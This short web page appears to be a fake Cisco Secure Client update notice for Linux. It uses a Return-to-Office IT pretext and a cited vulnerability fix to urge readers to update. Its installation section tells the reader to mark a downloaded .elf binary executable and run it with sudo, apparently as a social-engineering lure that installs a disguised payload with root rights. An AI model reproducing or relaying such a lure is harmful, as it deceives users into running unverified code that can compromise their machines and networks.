Cisco Secure Client
Version 5.4.2 – Linux x86_64This will install Cisco Secure Client 5.4.2 and remove any existing Cisco AnyConnect client versions installed on the system. A device reboot is required after the installation is completed.
Update Overview
As part of our ongoing Return-to-Office technology improvements, this patch delivers a series of important enhancements designed to improve system compatibility, stability, and performance for Linux-based users. These updates ensure that all workstation configurations remain aligned with our latest infrastructure standards and operate smoothly within the upgraded environment.
- Fix for a known vulnerability (
CVE-2025-20333) - Improved compatibility with internal VPN gateways
- Better login reliability and reduced disconnections
- Enhanced encryption during network transitions
- Overall performance and stability improvements
Installation (Linux)
cd ~/Downloads
chmod +x anyconnect-secure-client-5.4.2-maintenance-x86_64.elf
sudo ./anyconnect-secure-client-5.4.2-maintenance-x86_64.elf
After installation, please reboot your device to complete the update.